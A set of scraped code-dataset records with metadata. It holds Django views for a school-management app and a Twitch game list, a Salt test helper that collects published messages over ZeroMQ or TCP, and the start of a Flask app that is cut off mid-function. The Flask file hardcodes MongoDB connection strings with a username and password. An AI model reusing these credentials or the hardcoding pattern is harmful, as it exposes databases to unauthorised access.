Profesor.objects.get(id=id)\r\n\r\n if request.method == \"POST\":\r\n form = Profesor_form(request.POST)\r\n if form.is_valid():\r\n datos = form.cleaned_data\r\n profesor.nombre = datos['nombre']\r\n profesor.apellido = datos['apellido']\r\n profesor.dni = datos['dni']\r\n profesor.email = datos['email']\r\n profesor.materia = datos['materia']\r\n profesor.save()\r\n\r\n profesores = Profesor.objects.all()\r\n return render(request, \"info_profesores.html\", {\"profesores\":profesores})\r\n else:\r\n\r\n form = Profesor_form(initial = {\"nombre\":profesor.nombre, \"apellido\":profesor.apellido, \"dni\":profesor.dni, \"email\":profesor.email, \"materia\":profesor.materia})\r\n\r\n return render (request, \"editar_profesor.html\", {\"form\":form, \"profesor\":profesor}) ", "repo_name": "Cymbaline9/Proyecto-final-Python", "sub_path": "app2/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 9709, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.shortcuts.render", "line_number": 12, "usage_type": "call"}, {"api_name": "app2.models.Curso.objects.all", "line_number": 15, "usage_type": "call"}, {"api_name": "app2.models.Curso.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "app2.models.Curso", "line_number": 15, "usage_type": "name"}, {"api_name": "django.template.loader.get_template", "line_number": 17, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 17, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 19, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 33, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 31, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 36, "usage_type": "call"}, {"api_name": "app2.forms.Profesor_form", "line_number": 41, "usage_type": "call"}, {"api_name": "app2.models.Profesor", "line_number": 44, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 47, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 48, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 52, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 50, "usage_type": "name"}, {"api_name": "app2.forms.Alumno_form", "line_number": 57, "usage_type": "call"}, {"api_name": "app2.models.Alumno", "line_number": 60, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 63, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 64, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 67, "usage_type": "call"}, {"api_name": "app2.forms.Curso_form", "line_number": 72, "usage_type": "call"}, {"api_name": "app2.models.Curso", "line_number": 75, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 77, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 80, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 86, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 90, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 94, "usage_type": "call"}, {"api_name": "app2.models.Curso.objects.filter", "line_number": 101, "usage_type": "call"}, {"api_name": "app2.models.Curso.objects", "line_number": 101, "usage_type": "attribute"}, {"api_name": "app2.models.Curso", "line_number": 101, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 102, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 104, "usage_type": "call"}, {"api_name": "app2.models.Alumno.objects.filter", "line_number": 109, "usage_type": "call"}, {"api_name": "app2.models.Alumno.objects", "line_number": 109, "usage_type": "attribute"}, {"api_name": "app2.models.Alumno", "line_number": 109, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 110, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 112, "usage_type": "call"}, {"api_name": "app2.models.Profesor.objects.filter", "line_number": 119, "usage_type": "call"}, {"api_name": "app2.models.Profesor.objects", "line_number": 119, "usage_type": "attribute"}, {"api_name": "app2.models.Profesor", "line_number": 119, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 120, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 122, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 127, "usage_type": "call"}, {"api_name": "app2.models.Curso.objects.all", "line_number": 131, "usage_type": "call"}, {"api_name": "app2.models.Curso.objects", "line_number": 131, "usage_type": "attribute"}, {"api_name": "app2.models.Curso", "line_number": 131, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 132, "usage_type": "call"}, {"api_name": "app2.models.Curso.objects.get", "line_number": 135, "usage_type": "call"}, {"api_name": "app2.models.Curso.objects", "line_number": 135, "usage_type": "attribute"}, {"api_name": "app2.models.Curso", "line_number": 135, "usage_type": "name"}, {"api_name": "app2.models.Curso.objects.all", "line_number": 138, "usage_type": "call"}, {"api_name": "app2.models.Curso.objects", "line_number": 138, "usage_type": "attribute"}, {"api_name": "app2.models.Curso", "line_number": 138, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 139, "usage_type": "call"}, {"api_name": "app2.models.Curso.objects.get", "line_number": 142, "usage_type": "call"}, {"api_name": "app2.models.Curso.objects", "line_number": 142, "usage_type": "attribute"}, {"api_name": "app2.models.Curso", "line_number": 142, "usage_type": "name"}, {"api_name": "app2.forms.Curso_form", "line_number": 145, "usage_type": "call"}, {"api_name": "app2.models.Curso.objects.all", "line_number": 152, "usage_type": "call"}, {"api_name": "app2.models.Curso.objects", "line_number": 152, "usage_type": "attribute"}, {"api_name": "app2.models.Curso", "line_number": 152, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 153, "usage_type": "call"}, {"api_name": "app2.forms.Curso_form", "line_number": 157, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 159, "usage_type": "call"}, {"api_name": "app2.models.Alumno.objects.all", "line_number": 163, "usage_type": "call"}, {"api_name": "app2.models.Alumno.objects", "line_number": 163, "usage_type": "attribute"}, {"api_name": "app2.models.Alumno", "line_number": 163, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 164, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 161, "usage_type": "name"}, {"api_name": "app2.models.Profesor.objects.all", "line_number": 168, "usage_type": "call"}, {"api_name": "app2.models.Profesor.objects", "line_number": 168, "usage_type": "attribute"}, {"api_name": "app2.models.Profesor", "line_number": 168, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 169, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 166, "usage_type": "name"}, {"api_name": "django.contrib.auth.forms.AuthenticationForm", "line_number": 173, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 178, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 181, "usage_type": "call"}, {"api_name": "app2.models.Avatar.objects.filter", "line_number": 182, "usage_type": "call"}, {"api_name": "app2.models.Avatar.objects", "line_number": 182, "usage_type": "attribute"}, {"api_name": "app2.models.Avatar", "line_number": 182, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 183, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 185, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 186, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 189, "usage_type": "call"}, {"api_name": "django.contrib.auth.forms.AuthenticationForm", "line_number": 192, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 193, "usage_type": "call"}, {"api_name": "django.contrib.auth.forms.UserCreationForm", "line_number": 197, "usage_type": "call"}, {"api_name": "django.contrib.auth.forms.UserCreationForm", "line_number": 202, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 203, "usage_type": "call"}, {"api_name": "app2.forms.UserEditForm", "line_number": 212, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 219, "usage_type": "call"}, {"api_name": "app2.forms.UserEditForm", "line_number": 222, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 224, "usage_type": "call"}, {"api_name": "app2.models.Alumno.objects.get", "line_number": 227, "usage_type": "call"}, {"api_name": "app2.models.Alumno.objects", "line_number": 227, "usage_type": "attribute"}, {"api_name": "app2.models.Alumno", "line_number": 227, "usage_type": "name"}, {"api_name": "app2.models.Alumno.objects.all", "line_number": 231, "usage_type": "call"}, {"api_name": "app2.models.Alumno.objects", "line_number": 231, "usage_type": "attribute"}, {"api_name": "app2.models.Alumno", "line_number": 231, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 232, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 234, "usage_type": "call"}, {"api_name": "app2.models.Profesor.objects.get", "line_number": 237, "usage_type": "call"}, {"api_name": "app2.models.Profesor.objects", "line_number": 237, "usage_type": "attribute"}, {"api_name": "app2.models.Profesor", "line_number": 237, "usage_type": "name"}, {"api_name": "app2.models.Profesor.objects.all", "line_number": 241, "usage_type": "call"}, {"api_name": "app2.models.Profesor.objects", "line_number": 241, "usage_type": "attribute"}, {"api_name": "app2.models.Profesor", "line_number": 241, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 242, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 244, "usage_type": "call"}, {"api_name": "app2.models.Alumno.objects.get", "line_number": 247, "usage_type": "call"}, {"api_name": "app2.models.Alumno.objects", "line_number": 247, "usage_type": "attribute"}, {"api_name": "app2.models.Alumno", "line_number": 247, "usage_type": "name"}, {"api_name": "app2.forms.Alumno_form", "line_number": 250, "usage_type": "call"}, {"api_name": "app2.models.Alumno.objects.all", "line_number": 259, "usage_type": "call"}, {"api_name": "app2.models.Alumno.objects", "line_number": 259, "usage_type": "attribute"}, {"api_name": "app2.models.Alumno", "line_number": 259, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 260, "usage_type": "call"}, {"api_name": "app2.forms.Alumno_form", "line_number": 263, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 265, "usage_type": "call"}, {"api_name": "app2.models.Profesor.objects.get", "line_number": 268, "usage_type": "call"}, {"api_name": "app2.models.Profesor.objects", "line_number": 268, "usage_type": "attribute"}, {"api_name": "app2.models.Profesor", "line_number": 268, "usage_type": "name"}, {"api_name": "app2.forms.Profesor_form", "line_number": 271, "usage_type": "call"}, {"api_name": "app2.models.Profesor.objects.all", "line_number": 281, "usage_type": "call"}, {"api_name": "app2.models.Profesor.objects", "line_number": 281, "usage_type": "attribute"}, {"api_name": "app2.models.Profesor", "line_number": 281, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 282, "usage_type": "call"}, {"api_name": "app2.forms.Profesor_form", "line_number": 285, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 287, "usage_type": "call"}]} {"seq_id": "2829177271", "text": "from django.core.paginator import Paginator\nfrom django.shortcuts import render\nfrom django.views.decorators.cache import cache_page\n\nfrom app.models import Game, Process\n\ntimeout = 900\n\n\ndef main_page(request, games):\n process = Process.objects.get(name=\"game_list_update\")\n paginator = Paginator(games, 200)\n page_number = request.GET.get('page')\n page_obj = paginator.get_page(page_number)\n context = {\n 'update_time': process.updated_at,\n 'game_total': len(games),\n 'page_obj': page_obj\n }\n return render(request, 'app/index.html', context)\n\n\n@cache_page(timeout)\ndef index(request):\n games = Game.objects.all().order_by(\"-total_viewers\")\n return main_page(request, games)\n\n\n@cache_page(timeout)\ndef magic(request):\n games = Game.objects.all().order_by(\"-magic_number\")\n return main_page(request, games)\n", "repo_name": "jareklupinski/twitch-grid", "sub_path": "app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 862, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "app.models.Process.objects.get", "line_number": 11, "usage_type": "call"}, {"api_name": "app.models.Process.objects", "line_number": 11, "usage_type": "attribute"}, {"api_name": "app.models.Process", "line_number": 11, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 12, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 20, "usage_type": "call"}, {"api_name": "app.models.Game.objects.all", "line_number": 25, "usage_type": "call"}, {"api_name": "app.models.Game.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "app.models.Game", "line_number": 25, "usage_type": "name"}, {"api_name": "django.views.decorators.cache.cache_page", "line_number": 23, "usage_type": "call"}, {"api_name": "app.models.Game.objects.all", "line_number": 31, "usage_type": "call"}, {"api_name": "app.models.Game.objects", "line_number": 31, "usage_type": "attribute"}, {"api_name": "app.models.Game", "line_number": 31, "usage_type": "name"}, {"api_name": "django.views.decorators.cache.cache_page", "line_number": 29, "usage_type": "call"}]} {"seq_id": "12855536254", "text": "import ctypes\nimport logging\nimport multiprocessing\nimport queue\nimport socket\nimport time\n\nimport pytest\nimport tornado.gen\nimport tornado.ioloop\nimport tornado.iostream\nimport zmq\nfrom pytestshellutils.utils.processes import terminate_process\n\nimport salt.channel.server\nimport salt.exceptions\nimport salt.master\nimport salt.utils.msgpack\nimport salt.utils.process\nimport salt.utils.stringutils\n\nlog = logging.getLogger(__name__)\n\n\nclass RecvError(Exception):\n \"\"\"\n Raised by the Collector's _recv method when there is a problem\n getting publishes from to the publisher.\n \"\"\"\n\n\nclass Collector(salt.utils.process.SignalHandlingProcess):\n def __init__(\n self,\n minion_config,\n interface,\n port,\n aes_key,\n timeout=300,\n zmq_filtering=False,\n ):\n super().__init__()\n self.minion_config = minion_config\n self.interface = interface\n self.port = port\n self.aes_key = aes_key\n self.timeout = timeout\n self.aes_key = aes_key\n self.hard_timeout = time.time() + timeout + 120\n self.manager = multiprocessing.Manager()\n self.results = self.manager.list()\n self.zmq_filtering = zmq_filtering\n self.stopped = multiprocessing.Event()\n self.started = multiprocessing.Event()\n self.running = multiprocessing.Event()\n self.unpacker = salt.utils.msgpack.Unpacker(raw=False)\n\n @property\n def transport(self):\n return self.minion_config[\"transport\"]\n\n def _rotate_secrets(self, now=None):\n salt.master.SMaster.secrets[\"aes\"] = {\n \"secret\": multiprocessing.Array(\n ctypes.c_char,\n salt.utils.stringutils.to_bytes(\n salt.crypt.Crypticle.generate_key_string()\n ),\n ),\n \"serial\": multiprocessing.Value(\n ctypes.c_longlong, lock=False # We'll use the lock from 'secret'\n ),\n \"reload\": salt.crypt.Crypticle.generate_key_string,\n \"rotate_master_key\": self._rotate_secrets,\n }\n\n def _teardown_listener(self):\n if self.transport == \"zeromq\":\n self.sock.close()\n self.ctx.term()\n else:\n self.sock.close()\n\n def _setup_listener(self):\n if self.transport == \"zeromq\":\n self.ctx = zmq.Context()\n self.sock = self.ctx.socket(zmq.SUB)\n self.sock.setsockopt(zmq.LINGER, -1)\n self.sock.setsockopt(zmq.SUBSCRIBE, b\"\")\n pub_uri = f\"tcp://{self.interface}:{self.port}\"\n log.info(\"Collector listen %s\", pub_uri)\n self.sock.connect(pub_uri)\n else:\n end = time.time() + 120\n while True:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n sock.connect((self.interface, self.port))\n except ConnectionRefusedError:\n if time.time() >= end:\n raise\n time.sleep(1)\n else:\n break\n self.sock = tornado.iostream.IOStream(sock)\n\n @tornado.gen.coroutine\n def _recv(self):\n if self.transport == \"zeromq\":\n # test_zeromq_filtering requires catching the\n # SaltDeserializationError in order to pass.\n try:\n payload = self.sock.recv(zmq.NOBLOCK)\n serial_payload = salt.payload.loads(payload)\n raise tornado.gen.Return(serial_payload)\n except (zmq.ZMQError, salt.exceptions.SaltDeserializationError):\n raise RecvError(\"ZMQ Error\")\n else:\n for msg in self.unpacker:\n serial_payload = salt.payload.loads(msg[\"body\"])\n raise tornado.gen.Return(serial_payload)\n byts = yield self.sock.read_bytes(8096, partial=True)\n self.unpacker.feed(byts)\n for msg in self.unpacker:\n serial_payload = salt.payload.loads(msg[\"body\"])\n raise tornado.gen.Return(serial_payload)\n raise RecvError(\"TCP Error\")\n\n @tornado.gen.coroutine\n def _run(self, loop):\n try:\n self._setup_listener()\n except Exception: # pylint: disable=broad-except\n self.started.set()\n log.exception(\"Failed to start listening\")\n return\n self.started.set()\n last_msg = time.time()\n self.start = last_msg\n crypticle = salt.crypt.Crypticle(self.minion_config, self.aes_key)\n self.gotone = False\n try:\n while True:\n curr_time = time.time()\n if time.time() > self.hard_timeout:\n log.error(\"Hard timeout reached in test collector!\")\n break\n if curr_time - last_msg >= self.timeout:\n log.error(\"Receive timeout reached in test collector!\")\n break\n try:\n payload = yield self._recv()\n except RecvError:\n time.sleep(0.03)\n else:\n try:\n log.trace(\"Colleted payload %r\", payload)\n payload = crypticle.loads(payload[\"load\"])\n if not payload:\n continue\n if \"start\" in payload:\n log.info(\"Collector started\")\n self.running.set()\n continue\n if \"stop\" in payload:\n log.info(\"Collector stopped\")\n break\n last_msg = time.time()\n self.results.append(payload[\"jid\"])\n except salt.exceptions.SaltDeserializationError:\n log.error(\"Deserializer Error\")\n if not self.zmq_filtering:\n log.exception(\"Failed to deserialize...\")\n break\n if self.gotone is False:\n log.debug(\"Collector started recieving\")\n self.gotone = True\n log.debug(\"Collector finished recieving\")\n self.end = time.time()\n print(f\"Total time {self.end - self.start}\")\n finally:\n self._teardown_listener()\n loop.stop()\n\n def run(self):\n \"\"\"\n Gather results until then number of seconds specified by timeout passes\n without receiving a message\n \"\"\"\n loop = tornado.ioloop.IOLoop()\n loop.add_callback(self._run, loop)\n loop.start()\n\n def __enter__(self):\n self.manager.__enter__()\n self.start()\n # Wait until we can start receiving events\n self.started.wait()\n self.started.clear()\n return self\n\n def __exit__(self, *args):\n # Wait until we either processed all expected messages or we reach the hard timeout\n join_secs = self.hard_timeout - time.time()\n log.info(\"Waiting at most %s seconds before exiting the collector\", join_secs)\n self.join(join_secs)\n self.terminate()\n # Cast our manager.list into a plain list\n self.results = list(self.results)\n # Terminate our multiprocessing manager\n self.manager.__exit__(*args)\n log.debug(\"The collector has exited\")\n self.stopped.set()\n\n\nclass PubServerChannelProcess(salt.utils.process.SignalHandlingProcess):\n def __init__(self, master_config, minion_config, **collector_kwargs):\n super().__init__()\n self.name = \"PubServerChannelProcess\"\n self._closing = False\n self.master_config = master_config\n self.minion_config = minion_config\n self.collector_kwargs = collector_kwargs\n self.aes_key = salt.crypt.Crypticle.generate_key_string()\n salt.master.SMaster.secrets[\"aes\"] = {\n \"secret\": multiprocessing.Array(\n ctypes.c_char,\n salt.utils.stringutils.to_bytes(self.aes_key),\n ),\n \"serial\": multiprocessing.Value(\n ctypes.c_longlong, lock=False # We'll use the lock from 'secret'\n ),\n }\n self.process_manager = salt.utils.process.ProcessManager(\n name=\"ZMQ-PubServer-ProcessManager\"\n )\n self.pub_server_channel = salt.channel.server.PubServerChannel.factory(\n self.master_config\n )\n self.pub_server_channel.pre_fork(self.process_manager)\n self.pub_uri = \"tcp://{interface}:{publish_port}\".format(**self.master_config)\n self.queue = multiprocessing.Queue()\n self.stopped = multiprocessing.Event()\n self.collector = Collector(\n self.minion_config,\n self.master_config[\"interface\"],\n self.master_config[\"publish_port\"],\n self.aes_key,\n **self.collector_kwargs,\n )\n\n def run(self):\n\n ioloop = tornado.ioloop.IOLoop()\n try:\n while True:\n try:\n payload = self.queue.get(False)\n except queue.Empty:\n time.sleep(0.03)\n continue\n if payload is None:\n log.debug(\"We received the stop sentinel\")\n break\n ioloop.run_sync(lambda: self.pub_server_channel.publish(payload))\n except KeyboardInterrupt:\n pass\n finally:\n self.stopped.set()\n\n def _handle_signals(self, signum, sigframe):\n self.close()\n super()._handle_signals(signum, sigframe)\n\n def close(self):\n if self._closing:\n return\n self._closing = True\n if self.process_manager is None:\n return\n self.process_manager.terminate()\n if hasattr(self.pub_server_channel, \"close\"):\n self.pub_server_channel.close()\n # Really terminate any process still left behind\n for pid in self.process_manager._process_map:\n terminate_process(pid=pid, kill_children=True, slow_stop=False)\n self.process_manager = None\n\n def publish(self, payload):\n self.queue.put(payload)\n\n def __enter__(self):\n self.start()\n self.collector.__enter__()\n attempts = 300\n while attempts > 0:\n self.publish({\"tgt_type\": \"glob\", \"tgt\": \"*\", \"jid\": -1, \"start\": True})\n if self.collector.running.wait(1) is True:\n break\n attempts -= 1\n else:\n pytest.fail(\"Failed to confirm the collector has started\")\n return self\n\n def __exit__(self, *args):\n # Publish a payload to tell the collection it's done processing\n self.publish({\"tgt_type\": \"glob\", \"tgt\": \"*\", \"jid\": -1, \"stop\": True})\n # Now trigger the collector to also exit\n self.collector.__exit__(*args)\n # We can safely wait here without a timeout because the Collector instance has a\n # hard timeout set, so eventually Collector.stopped will be set\n self.collector.stopped.wait()\n # Stop our own processing\n self.queue.put(None)\n # Wait at most 10 secs for the above `None` in the queue to be processed\n self.stopped.wait(10)\n self.close()\n self.terminate()\n", "repo_name": "saltstack/salt", "sub_path": "tests/support/pytest/transport.py", "file_name": "transport.py", "file_ext": "py", "file_size_in_byte": 11462, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13606, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 22, "usage_type": "call"}, {"api_name": "salt.channel.server.utils", "line_number": 32, "usage_type": "attribute"}, {"api_name": "salt.channel.server", "line_number": 32, "usage_type": "name"}, {"api_name": "time.time", "line_number": 49, "usage_type": "call"}, {"api_name": "multiprocessing.Manager", "line_number": 50, "usage_type": "call"}, {"api_name": "multiprocessing.Event", "line_number": 53, "usage_type": "call"}, {"api_name": "multiprocessing.Event", "line_number": 54, "usage_type": "call"}, {"api_name": "multiprocessing.Event", "line_number": 55, "usage_type": "call"}, {"api_name": "salt.channel.server.utils.msgpack.Unpacker", "line_number": 56, "usage_type": "call"}, {"api_name": "salt.channel.server.utils", "line_number": 56, "usage_type": "attribute"}, {"api_name": "salt.channel.server", "line_number": 56, "usage_type": "name"}, {"api_name": "salt.channel.server.master", "line_number": 63, "usage_type": "attribute"}, {"api_name": "salt.channel.server", "line_number": 63, "usage_type": "name"}, {"api_name": "multiprocessing.Array", "line_number": 64, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 65, "usage_type": "attribute"}, {"api_name": "salt.channel.server.utils.stringutils.to_bytes", "line_number": 66, "usage_type": "call"}, {"api_name": "salt.channel.server.utils", "line_number": 66, "usage_type": "attribute"}, {"api_name": "salt.channel.server", "line_number": 66, "usage_type": "name"}, {"api_name": "salt.channel.server.crypt.Crypticle.generate_key_string", "line_number": 67, "usage_type": "call"}, {"api_name": "salt.channel.server.crypt", "line_number": 67, "usage_type": "attribute"}, {"api_name": "salt.channel.server", "line_number": 67, "usage_type": "name"}, {"api_name": "multiprocessing.Value", "line_number": 70, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 71, "usage_type": "attribute"}, {"api_name": "salt.channel.server.crypt", "line_number": 73, "usage_type": "attribute"}, {"api_name": "salt.channel.server", "line_number": 73, "usage_type": "name"}, {"api_name": "zmq.Context", "line_number": 86, "usage_type": "call"}, {"api_name": "zmq.SUB", "line_number": 87, "usage_type": "attribute"}, {"api_name": "zmq.LINGER", "line_number": 88, "usage_type": "attribute"}, {"api_name": "zmq.SUBSCRIBE", "line_number": 89, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 94, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 96, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 96, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 96, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 100, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 102, "usage_type": "call"}, {"api_name": "tornado.gen.iostream.IOStream", "line_number": 105, "usage_type": "call"}, {"api_name": "tornado.gen.iostream", "line_number": 105, "usage_type": "attribute"}, {"api_name": "tornado.gen", "line_number": 105, "usage_type": "name"}, {"api_name": "zmq.NOBLOCK", "line_number": 113, "usage_type": "attribute"}, {"api_name": "salt.channel.server.payload.loads", "line_number": 114, "usage_type": "call"}, {"api_name": "salt.channel.server.payload", "line_number": 114, "usage_type": "attribute"}, {"api_name": "salt.channel.server", "line_number": 114, "usage_type": "name"}, {"api_name": "tornado.gen.gen.Return", "line_number": 115, "usage_type": "call"}, {"api_name": "tornado.gen.gen", "line_number": 115, "usage_type": "attribute"}, {"api_name": "tornado.gen", "line_number": 115, "usage_type": "name"}, {"api_name": "zmq.ZMQError", "line_number": 116, "usage_type": "attribute"}, {"api_name": "salt.channel.server.exceptions", "line_number": 116, "usage_type": "attribute"}, {"api_name": "salt.channel.server", "line_number": 116, "usage_type": "name"}, {"api_name": "salt.channel.server.payload.loads", "line_number": 120, "usage_type": "call"}, {"api_name": "salt.channel.server.payload", "line_number": 120, "usage_type": "attribute"}, {"api_name": "salt.channel.server", "line_number": 120, "usage_type": "name"}, {"api_name": "tornado.gen.gen.Return", "line_number": 121, "usage_type": "call"}, {"api_name": "tornado.gen.gen", "line_number": 121, "usage_type": "attribute"}, {"api_name": "tornado.gen", "line_number": 121, "usage_type": "name"}, {"api_name": "salt.channel.server.payload.loads", "line_number": 125, "usage_type": "call"}, {"api_name": "salt.channel.server.payload", "line_number": 125, "usage_type": "attribute"}, {"api_name": "salt.channel.server", "line_number": 125, "usage_type": "name"}, {"api_name": "tornado.gen.gen.Return", "line_number": 126, "usage_type": "call"}, {"api_name": "tornado.gen.gen", "line_number": 126, "usage_type": "attribute"}, {"api_name": "tornado.gen", "line_number": 126, "usage_type": "name"}, {"api_name": "tornado.gen.gen", "line_number": 107, "usage_type": "attribute"}, {"api_name": "tornado.gen", "line_number": 107, "usage_type": "name"}, {"api_name": "time.time", "line_number": 138, "usage_type": "call"}, {"api_name": "salt.channel.server.crypt.Crypticle", "line_number": 140, "usage_type": "call"}, {"api_name": "salt.channel.server.crypt", "line_number": 140, "usage_type": "attribute"}, {"api_name": "salt.channel.server", "line_number": 140, "usage_type": "name"}, {"api_name": "time.time", "line_number": 144, "usage_type": "call"}, {"api_name": "time.time", "line_number": 145, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 154, "usage_type": "call"}, {"api_name": "time.time", "line_number": 168, "usage_type": "call"}, {"api_name": "salt.channel.server.exceptions", "line_number": 170, "usage_type": "attribute"}, {"api_name": "salt.channel.server", "line_number": 170, "usage_type": "name"}, {"api_name": "time.time", "line_number": 179, "usage_type": "call"}, {"api_name": "tornado.gen.gen", "line_number": 129, "usage_type": "attribute"}, {"api_name": "tornado.gen", "line_number": 129, "usage_type": "name"}, {"api_name": "tornado.gen.ioloop.IOLoop", "line_number": 190, "usage_type": "call"}, {"api_name": "tornado.gen.ioloop", "line_number": 190, "usage_type": "attribute"}, {"api_name": "tornado.gen", "line_number": 190, "usage_type": "name"}, {"api_name": "time.time", "line_number": 204, "usage_type": "call"}, {"api_name": "salt.channel.server.utils", "line_number": 216, "usage_type": "attribute"}, {"api_name": "salt.channel.server", "line_number": 216, "usage_type": "name"}, {"api_name": "salt.channel.server.crypt.Crypticle.generate_key_string", "line_number": 224, "usage_type": "call"}, {"api_name": "salt.channel.server.crypt", "line_number": 224, "usage_type": "attribute"}, {"api_name": "salt.channel.server", "line_number": 224, "usage_type": "name"}, {"api_name": "salt.channel.server.master", "line_number": 225, "usage_type": "attribute"}, {"api_name": "salt.channel.server", "line_number": 225, "usage_type": "name"}, {"api_name": "multiprocessing.Array", "line_number": 226, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 227, "usage_type": "attribute"}, {"api_name": "salt.channel.server.utils.stringutils.to_bytes", "line_number": 228, "usage_type": "call"}, {"api_name": "salt.channel.server.utils", "line_number": 228, "usage_type": "attribute"}, {"api_name": "salt.channel.server", "line_number": 228, "usage_type": "name"}, {"api_name": "multiprocessing.Value", "line_number": 230, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 231, "usage_type": "attribute"}, {"api_name": "salt.channel.server.utils.process.ProcessManager", "line_number": 234, "usage_type": "call"}, {"api_name": "salt.channel.server.utils", "line_number": 234, "usage_type": "attribute"}, {"api_name": "salt.channel.server", "line_number": 234, "usage_type": "name"}, {"api_name": "salt.channel.server.channel.server.PubServerChannel.factory", "line_number": 237, "usage_type": "call"}, {"api_name": "salt.channel.server.channel", "line_number": 237, "usage_type": "attribute"}, {"api_name": "salt.channel.server", "line_number": 237, "usage_type": "name"}, {"api_name": "multiprocessing.Queue", "line_number": 242, "usage_type": "call"}, {"api_name": "multiprocessing.Event", "line_number": 243, "usage_type": "call"}, {"api_name": "tornado.gen.ioloop.IOLoop", "line_number": 254, "usage_type": "call"}, {"api_name": "tornado.gen.ioloop", "line_number": 254, "usage_type": "attribute"}, {"api_name": "tornado.gen", "line_number": 254, "usage_type": "name"}, {"api_name": "queue.Empty", "line_number": 259, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 260, "usage_type": "call"}, {"api_name": "pytestshellutils.utils.processes.terminate_process", "line_number": 286, "usage_type": "call"}, {"api_name": "pytest.fail", "line_number": 302, "usage_type": "call"}]} {"seq_id": "29684999115", "text": "from flask import Flask, render_template, request, jsonify, redirect\nimport random\n\napp = Flask(__name__)\n\nfrom bson.objectid import ObjectId\nimport certifi\nca = certifi.where()\n\nfrom pymongo import MongoClient\n#client = MongoClient('mongodb+srv://sparta:test@cluster0.32ylit8.mongodb.net/?retryWrites=true&w=majority',tlsCAFile=ca)\n#형철 DB\nclient = MongoClient('mongodb+srv://sparta:test@cluster0.ur3cecw.mongodb.net/test',tlsCAFile=ca)\ndb = client.dbsparta\n# print(list(db.members.find({})))\n\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n#팀원 등록\n@app.route(\"/api/member\", methods=[\"POST\"])\ndef 